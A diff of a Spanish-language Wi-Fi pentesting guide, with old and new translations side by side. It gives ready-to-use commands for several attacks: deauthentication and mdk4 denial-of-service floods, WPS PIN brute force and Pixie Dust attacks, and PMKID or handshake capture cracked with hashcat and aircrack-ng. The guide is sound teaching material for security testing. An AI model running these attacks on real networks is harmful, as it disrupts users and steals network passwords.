* **+ WPA** -- Útil para capturar handshakes WPA * **+ WPA** -- Útil para capturar handshakes de WPA
## DOS ## DOS
### Paquetes de Desautenticación ### Paquetes de Desautenticación
La forma más común de realizar este tipo de ataque es con paquetes de **desautenticación**. Estos son un tipo de trama de "gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es la clave para [hackear muchas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), ya que puedes desconectar forzosamente a cualquier cliente de la red en cualquier momento. La facilidad con la que esto se puede hacer es algo aterrador y a menudo se hace como parte de la recolección de un handshake WPA para descifrar. La forma más común en que se realiza este tipo de ataque es con paquetes de **desautenticación**. Estos son un tipo de marco "de gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es clave para [hackear muchas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), ya que puedes desconectar forzosamente a cualquier cliente de la red en cualquier momento. La facilidad con la que se puede hacer esto es algo aterrador y a menudo se hace como parte de la obtención de un handshake de WPA para crackear.
Además de usar momentáneamente esta desconexión para cosechar un handshake para descifrar, también puedes simplemente dejar que esos deauths sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de deauth aparentemente provenientes de la red a la que están conectados. Debido a que estas tramas no están cifradas, muchos programas aprovechan las tramas de gestión falsificándolas y enviándolas a uno o todos los dispositivos en una red.\ Además de usar momentáneamente esta desconexión para recolectar un handshake para crackear, también puedes dejar que esas desautenticaciones sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de desautenticación aparentemente del la red a la que están conectados. Debido a que estos marcos no están encriptados, muchos programas aprovechan los marcos de gestión falsificándolos y enviándolos a uno o a todos los dispositivos en una red.\
**Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** **Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Desautenticación usando Aireplay-ng** **Desautenticación usando Aireplay-ng**
``` ```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
``` ```
* \-0 significa desautenticación * \-0 significa deautenticación
* 1 es el número de desautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente * 1 es el número de deautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente
* \-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso * \-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
* \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación broadcast (no siempre funciona) * \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación de difusión (no siempre funciona)
* ath0 es el nombre de la interfaz * ath0 es el nombre de la interfaz
### Paquetes de Disasociación ### Paquetes de Desasociación
Los paquetes de disasociación son otro tipo de trama de gestión que se utiliza para desconectar un nodo (es decir, cualquier dispositivo como una laptop o teléfono celular) de un punto de acceso cercano. La diferencia entre las tramas de desautenticación y disasociación es principalmente la forma en que se utilizan. Los paquetes de desasociación son otro tipo de trama de gestión que se utiliza para desconectar un nodo (cualquier dispositivo como un portátil o teléfono móvil) de un punto de acceso cercano. La diferencia entre las tramas de deautenticación y de desasociación radica principalmente en la forma en que se utilizan.
Un AP que busca desconectar un dispositivo no autorizado enviaría un paquete de desautenticación para informar al dispositivo que ha sido desconectado de la red, mientras que un paquete de disasociación se utiliza para desconectar cualquier nodo cuando el AP se está apagando, reiniciando o abandonando el área. Un AP que busca desconectar un dispositivo no autorizado enviaría un paquete de deautenticación para informar al dispositivo que ha sido desconectado de la red, mientras que un paquete de desasociación se utiliza para desconectar cualquier nodo cuando el AP se está apagando, reiniciando o abandonando el área.
**Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** **Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
@ -156,7 +158,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
**MODO DE ATAQUE b: Inundación de Beacons** **MODO DE ATAQUE b: Inundación de Beacons**
Envía tramas beacon para mostrar APs falsos a los clientes. ¡Esto a veces puede colapsar escáneres de red e incluso controladores! Envía tramas de beacons para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen!
```bash ```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -166,7 +168,7 @@ mdk4 wlan0mon b -a -w nta -m
``` ```
**MODO DE ATAQUE a: Denegación de Servicio de Autenticación** **MODO DE ATAQUE a: Denegación de Servicio de Autenticación**
Envía tramas de autenticación a todos los APs encontrados en el rango. Demasiados clientes pueden congelar o reiniciar varios APs. Envía tramas de autenticación a todos los AP encontrados en el rango. Demasiados clientes pueden congelar o reiniciar varios AP.
```bash ```bash
# -a BSSID send random data from random clients to try the DoS # -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients # -i BSSID capture and repeat pakets from authenticated clients
@ -174,13 +176,13 @@ Envía tramas de autenticación a todos los APs encontrados en el rango. Demasia
# only -a or -i can be used # only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
``` ```
**MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta** **MODO DE ATAQUE p: Sondeo y Fuerza Bruta de SSID**
Sondea APs y verifica si responden, útil para comprobar si el SSID ha sido correctamente desocultado y si el AP está dentro de tu rango de envío. La **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras también está disponible. Sondea los AP y verifica si hay respuesta, útil para comprobar si el SSID ha sido descubierto correctamente y si el AP está dentro de tu rango de envío. También está disponible la **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras.
**MODO DE ATAQUE m: Explotación de Contramedidas Michael** **MODO DE ATAQUE m: Explotación de Contramedidas de Michael**
Envía paquetes aleatorios o reinyecta duplicados en otra cola QoS para provocar Contramedidas Michael en **APs TKIP**. El AP se apagará durante un minuto entero, lo que lo convierte en un **DoS** efectivo. Envía paquetes aleatorios o reinyecta duplicados en otra cola de QoS para provocar Contramedidas de Michael en los **APs TKIP**. El AP se apagará durante un minuto completo, convirtiéndolo en un **DoS** efectivo.
```bash ```bash
# -t <BSSID> of a TKIP AP # -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS # -j use inteligent replay to create the DoS
@ -188,27 +190,27 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
``` ```
**MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff** **MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff**
Inunda un AP con marcos **EAPOL** Start para mantenerlo ocupado con **sesiones falsas** e impide que maneje clientes legítimos. O desconecta a los clientes **inyectando mensajes falsos** EAPOL **Logoff**. Inunda un AP con tramas de inicio de **EAPOL** para mantenerlo ocupado con **sesiones falsas** y así deshabilitarlo para manejar clientes legítimos. O desconecta a los clientes al **inyectar mensajes falsos** de **Logoff** de EAPOL.
```bash ```bash
# Use Logoff messages to kick clients # Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
``` ```
**MODO DE ATAQUE s: Ataques para redes malladas IEEE 802.11s** **MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s**
Varios ataques a la gestión de enlaces y enrutamiento en redes malladas. ¡Inunda vecinos y rutas, crea agujeros negros y desvía el tráfico! Varios ataques en la gestión de enlaces y enrutamiento en redes de malla. ¡Inunde vecinos y rutas, cree agujeros negros y desvíe el tráfico!
**MODO DE ATAQUE w: Confusión WIDS** **MODO DE ATAQUE w: Confusión de WIDS**
Confunde/Abusa de los Sistemas de Detección y Prevención de Intrusiones conectando clientes de forma cruzada a múltiples nodos WDS o APs falsos y maliciosos. Confunda/abuse los Sistemas de Detección y Prevención de Intrusiones cruzando clientes a múltiples nodos WDS o puntos de acceso falsos.
```bash ```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z] mkd4 -e <SSID> -c <channel> [-z]
``` ```
**MODO DE ATAQUE f: Packet Fuzzer** **MODO DE ATAQUE f: Fuzzer de Paquetes**
Un fuzzer de paquetes simple con múltiples fuentes de paquetes y un buen conjunto de modificadores. ¡Ten cuidado! Un fuzzer de paquetes simple con múltiples fuentes de paquetes y un buen conjunto de modificadores. ¡Ten cuidado!
### **Airgeddon** ### **Airggedon**
_**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios anteriores: _**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios anteriores:
@ -216,44 +218,44 @@ _**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios
## WPS ## WPS
WPS significa Wi-Fi Protected Setup. Es un estándar de seguridad de redes inalámbricas que intenta hacer que las conexiones entre un enrutador y dispositivos inalámbricos sean más rápidas y fáciles. **WPS solo funciona para redes inalámbricas que usan una contraseña** que está cifrada con los protocolos de seguridad **WPA** Personal o **WPA2** Personal. WPS no funciona en redes inalámbricas que están utilizando la seguridad WEP obsoleta, la cual puede ser vulnerada fácilmente por cualquier hacker con un conjunto básico de herramientas y habilidades. (De [aquí](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)) WPS significa Configuración Protegida de Wi-Fi. Es un estándar de seguridad de red inalámbrica que intenta hacer que las conexiones entre un enrutador y dispositivos inalámbricos sean más rápidas y fáciles. **WPS solo funciona para redes inalámbricas que utilizan una contraseña** que está encriptada con los protocolos de seguridad **WPA** Personal o **WPA2** Personal. WPS no funciona en redes inalámbricas que utilizan la seguridad WEP obsoleta, que puede ser fácilmente crackeada por cualquier hacker con un conjunto básico de herramientas y habilidades. (De [aquí](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
WPS utiliza un PIN de 8 dígitos para permitir que un usuario se conecte a la red, pero primero se verifica los primeros 4 números y, si son correctos, luego se verifica los segundos 4 números. Entonces, es posible hacer Brute-Force de la primera mitad y luego de la segunda mitad (solo 11000 posibilidades). WPS utiliza un PIN de 8 dígitos para permitir que un usuario se conecte a la red, pero primero se verifican los primeros 4 números y, si son correctos, luego se verifican los siguientes 4 números. Luego, es posible hacer un ataque de fuerza bruta en la primera mitad y luego en la segunda mitad (solo 11000 posibilidades).
### WPS Bruteforce ### Fuerza Bruta de WPS
Hay 2 herramientas principales para realizar esta acción: Reaver y Bully. Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.
* **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS. * **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS.
* **Bully** es una **nueva implementación** del ataque de fuerza bruta WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de la endianness y un conjunto de opciones más robusto. * **Bully** es una **nueva implementación** del ataque de fuerza bruta de WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de la endianness y un conjunto de opciones más robusto.
Este ataque aprovecha una **debilidad en el código PIN de WPS de ocho dígitos**; debido a este problema, el protocolo **revela información sobre los primeros cuatro dígitos del PIN**, y el **último** dígito funciona como un **checksum**, lo que facilita el brute forcing del AP WPS.\ Este ataque aprovecha una **debilidad en el código PIN WPS de ocho dígitos**; debido a este problema, el protocolo **revela información sobre los primeros cuatro dígitos del PIN**, y el **último** dígito funciona como un **checksum**, lo que facilita el ataque de fuerza bruta al AP de WPS.\
Ten en cuenta que algunos dispositivos incluyen **protecciones contra fuerza bruta**, que generalmente **bloquean direcciones MAC** que intentan atacar repetidamente. En ese caso, la complejidad de este ataque aumenta, porque tendrías que **rotar direcciones MAC** mientras pruebas los PINs. Ten en cuenta que algunos dispositivos incluyen **protecciones contra fuerza bruta**, que generalmente **bloquean las direcciones MAC** que intentan atacar repetidamente. En ese caso, la complejidad de este ataque aumenta, porque tendrías que **rotar las direcciones MAC** mientras pruebas los PIN.
Si se encuentra el código WPS válido, tanto Bully como Reaver lo utilizarán para descubrir el PSK WPA/WPA2 utilizado para proteger la red, por lo que podrás conectarte siempre que lo necesites. Si se encuentra el código válido de WPS, tanto Bully como Reaver lo utilizarán para descubrir la PSK de WPA/WPA2 utilizada para proteger la red, por lo que podrás conectarte en cualquier momento que lo necesites.
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
``` ```
**Smart Brute force** **Ataque de fuerza bruta inteligente**
En lugar de comenzar probando todos los PIN posibles, deberías verificar si hay **PINs descubiertos para el AP que estás atacando** (dependiendo del MAC del fabricante) y los **PINs generados por software**. En lugar de comenzar probando cada PIN posible, deberías verificar si hay **PINs descubiertos para el AP que estás atacando** (dependiendo de la MAC del fabricante) y los **PINs generados por software**.
* La base de datos de PINs conocidos está hecha para Access Points de ciertos fabricantes para los cuales se sabe que utilizan los mismos PINs WPS. Esta base de datos contiene los primeros tres octetos de direcciones MAC y una lista de PINs correspondientes que son muy probables para este fabricante. - La base de datos de PINs conocidos está hecha para Puntos de Acceso de ciertos fabricantes para los cuales se sabe que utilizan los mismos PINs de WPS. Esta base de datos contiene los tres primeros octetos de las direcciones MAC y una lista de PINs correspondientes que son muy probables para este fabricante.
* Hay varios algoritmos para generar PINs WPS. Por ejemplo, ComputePIN y EasyBox utilizan la dirección MAC del Access Point en sus cálculos. Pero el algoritmo de Arcadyan también requiere una ID de dispositivo. - Hay varios algoritmos para generar PINs de WPS. Por ejemplo, ComputePIN y EasyBox utilizan la dirección MAC del Punto de Acceso en sus cálculos. Pero el algoritmo de Arcadyan también requiere un ID de dispositivo.
### Ataque WPS Pixie Dust ### Ataque WPS Pixie Dust
Dominique Bongard descubrió que algunos APs tienen formas débiles de generar **nonces** (conocidos como **E-S1** y **E-S2**) que se supone que son secretos. Si podemos descubrir cuáles son estos nonces, podemos encontrar fácilmente el PIN WPS de un AP ya que el AP debe dárnoslo en un hash para probar que también conoce el PIN, y que el cliente no se está conectando a un AP falso. Estos E-S1 y E-S2 son esencialmente las "llaves para desbloquear la caja fuerte" que contiene el PIN WPS. Más información aquí: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) Dominique Bongard descubrió que algunos APs tienen formas débiles de generar **nonces** (conocidos como **E-S1** y **E-S2**) que se supone que son secretos. Si logramos descubrir cuáles son estos nonces, podemos encontrar fácilmente el PIN de un AP, ya que el AP debe proporcionárnoslo en un hash para demostrar que también conoce el PIN, y el cliente no se está conectando a un AP falso. Estos E-S1 y E-S2 son esencialmente las "claves para desbloquear la caja de seguridad" que contiene el PIN de WPS. Más información aquí: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
Básicamente, algunas implementaciones fallaron en el uso de claves aleatorias para encriptar las 2 partes del PIN (ya que se descompone en 2 partes durante la comunicación de autenticación y se envía al cliente), por lo que se podría utilizar un ataque offline para forzar bruscamente el PIN válido. Básicamente, algunas implementaciones fallaron en el uso de claves aleatorias para cifrar las 2 partes del PIN (ya que se descompone en 2 partes durante la comunicación de autenticación y se envía al cliente), por lo que un ataque offline podría usarse para realizar fuerza bruta en el PIN válido.
``` ```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
``` ```
### Ataque Null Pin ### Ataque de Pin Nulo
Algunas implementaciones realmente malas permitían la conexión con el PIN nulo (también muy extraño). Reaver puede probar esto (Bully no puede). Algunas implementaciones realmente malas permiten la conexión con Pin Nulo (muy extraño también). Reaver puede probar esto (Bully no puede).
``` ```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
``` ```
@ -265,47 +267,47 @@ Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando _**ai
* 5 y 6 te permiten probar **tu PIN personalizado** (si tienes alguno) * 5 y 6 te permiten probar **tu PIN personalizado** (si tienes alguno)
* 7 y 8 realizan el ataque **Pixie Dust** * 7 y 8 realizan el ataque **Pixie Dust**
* 13 te permite probar el **PIN NULO** * 13 te permite probar el **PIN NULL**
* 11 y 12 **recopilarán los PINes relacionados con el AP seleccionado de bases de datos disponibles** y **generarán** posibles **PINes** utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?) * 11 y 12 **recopilarán los PIN relacionados con el AP seleccionado de las bases de datos disponibles** y **generarán** posibles **PIN** utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
* 9 y 10 probarán **todos los PINes posibles** * 9 y 10 probarán **cada PIN posible**
## **WEP** ## **WEP**
Tan roto y desaparecido que no voy a hablar de él. Solo debes saber que _**airgeddon**_ tiene una opción WEP llamada "Todo en Uno" para atacar este tipo de protección. Más herramientas ofrecen opciones similares. Tan vulnerable y obsoleto que no voy a hablar de él. Solo sé que _**airgeddon**_ tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.
![](<../../.gitbook/assets/image (125).png>) ![](<../../.gitbook/assets/image (125).png>)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Hacking Insights**\ **Perspectivas de Hacking**\
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking. Participa en contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\ **Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real. Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Últimos Anuncios**\
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones cruciales de la plataforma. Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo. **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## WPA/WPA2 PSK ## WPA/WPA2 PSK
### PMKID ### PMKID
En 2018, los autores de hashcat [divulgaron](https://hashcat.net/forum/thread-7717.html) un nuevo tipo de ataque que no solo depende **de un único paquete**, sino que no requiere que ningún cliente esté conectado a nuestro AP objetivo, sino solo comunicación entre el atacante y el AP. En 2018, los autores de hashcat [revelaron](https://hashcat.net/forum/thread-7717.html) un nuevo tipo de ataque que no solo se basa **en un solo paquete**, sino que no requiere que ningún cliente esté conectado a nuestro AP objetivo, solo la comunicación entre el atacante y el AP.
Resulta que **muchos** routers modernos añaden un **campo opcional** al final del **primer marco EAPOL** enviado por el propio AP cuando alguien se está asociando, el llamado `Robust Security Network`, que incluye algo llamado `PMKID` Resulta que **muchos** routers modernos añaden un **campo opcional** al final del **primer marco EAPOL** enviado por el propio AP cuando alguien se está asociando, el llamado `Red de Seguridad Robusta`, que incluye algo llamado `PMKID`
Como se explica en la publicación original, el **PMKID** se deriva utilizando datos que nos son conocidos: Como se explica en el post original, el **PMKID** se deriva utilizando datos que nos son conocidos:
``` ```
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
``` ```
**Dado que la cadena "PMK Name" es constante, conocemos tanto el BSSID del AP como de la estación y el `PMK` es el mismo obtenido de un handshake completo de 4 vías**, ¡esto es todo lo que hashcat necesita para descifrar el PSK y recuperar la frase de paso! **Dado que la cadena "Nombre de PMK" es constante, conocemos tanto el BSSID del AP como el de la estación y el `PMK` es el mismo obtenido de un apretón de manos completo de 4 vías**, ¡esto es todo lo que hashcat necesita para descifrar la PSK y recuperar la frase de paso!\
Descripción obtenida de [aquí](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/). Descripción obtenida de [aquí](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
Para **recolectar** esta información y **fuerza bruta** localmente la contraseña puedes hacer: Para **recopilar** esta información y **realizar fuerza bruta** localmente la contraseña, puedes hacer:
```bash ```bash
airmon-ng check kill airmon-ng check kill
airmon-ng start wlan0 airmon-ng start wlan0
@ -317,17 +319,17 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer #You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
``` ```
Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_**/tmp/attack.pcap**\_ Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_ **/tmp/attack.pcap**\_\
Ahora, convierte la captura al formato de **hashcat/john** y descrífiela: Ahora, convierte la captura al formato de **hashcat/john** y descífrala:
```bash ```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
``` ```
Tenga en cuenta que el formato de un hash correcto contiene **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\ Por favor, ten en cuenta que el formato correcto de un hash contiene **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6f6e65436f6e6e6563743034383131343838_\
\_\_Si el suyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura de PMKID no fue válida). \_\_Si el tuyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura PMKID no fue válida).
Note que `hcxdumptool` **también captura handshakes** (algo así aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Podría **transformar** los **handshakes** a formato **hashcat**/**john** usando `cap2hccapx` Ten en cuenta que `hcxdumptool` **también captura apretones de manos** (algo así aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Puedes **transformar** los **apretones de manos** al formato de **hashcat**/**john** usando `cap2hccapx`.
```bash ```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -335,30 +337,28 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
``` ```
_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso conociendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._ ### Captura de handshake
### Captura de Handshake Una forma de atacar redes **WPA/WPA2** es capturar un **handshake** e intentar **descifrar** la contraseña utilizada **sin conexión**. Para hacerlo, necesitas encontrar el **BSSID** y el **canal** de la red de la **víctima**, y un **cliente** que esté conectado a la red.\
Una vez que tengas esa información, debes comenzar a **escuchar** toda la comunicación de ese **BSSID** en ese **canal**, ya que esperanzadamente el handshake se enviará allí:
Una forma de atacar redes **WPA/WPA2** es capturar un **handshake** e intentar **descifrar** la contraseña utilizada **offline**. Para hacerlo necesitas encontrar el **BSSID** y **canal** de la red **víctima**, y un **cliente** que esté conectado a la red.\
Una vez que tienes esa información debes comenzar a **escuchar** toda la comunicación de ese **BSSID** en ese **canal**, porque con suerte el handshake será enviado allí:
```bash ```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
``` ```
Ahora necesitas **desautenticar** al **cliente** por unos segundos para que se autentique automáticamente de nuevo al AP (por favor, lee la parte de DoS para encontrar varias formas de desautenticar a un cliente): Ahora necesitas **desautenticar** al **cliente** durante unos segundos para que se autentique automáticamente de nuevo en el AP (por favor, lee la parte de DoS para encontrar varias formas de desautenticar a un cliente):
```bash ```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
``` ```
_Nota que como el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._ _Nota que una vez que el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._
Una vez que en `airodump-ng` aparece información del handshake, esto significa que el handshake fue capturado y puedes dejar de escuchar: Una vez que en `airodump-ng` aparezca información de handshake, significa que el handshake fue capturado y puedes dejar de escuchar:
![](<../../.gitbook/assets/image (172) (1).png>) ![](<../../.gitbook/assets/image (172) (1).png>)
Una vez capturado el handshake, puedes **crackearlo** con `aircrack-ng`: Una vez que el handshake es capturado, puedes **descifrarlo** con `aircrack-ng`:
``` ```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
``` ```
### Verificar si el handshake está en el archivo ### Verificar si hay handshake en el archivo
**aircrack** **aircrack**
```bash ```bash
@ -372,70 +372,71 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
``` ```
cowpatty -r psk-01.cap -s "ESSID" -f - cowpatty -r psk-01.cap -s "ESSID" -f -
``` ```
_Si esta herramienta encuentra un handshake incompleto de un ESSID antes que uno completo, no detectará el válido._ _Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes que el completo, no detectará el válido._
**pyrit** **pyrit**
```bash ```bash
apt-get install pyrit #Not working for newer versions of kali apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze pyrit -r psk-01.cap analyze
``` ```
## **WPA Enterprise (MGT)** ## **WPA Empresa (MGT)**
**Es** importante hablar sobre los **diferentes métodos de autenticación** que podrían ser utilizados por una Wifi empresarial. Para este tipo de Wifis probablemente encontrarás en `airodump-ng` algo como esto: **Es** importante hablar sobre los **diferentes métodos de autenticación** que podrían ser utilizados por un Wifi empresarial. Para este tipo de Wifis probablemente encontrarás en `airodump-ng` algo como esto:
``` ```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
``` ```
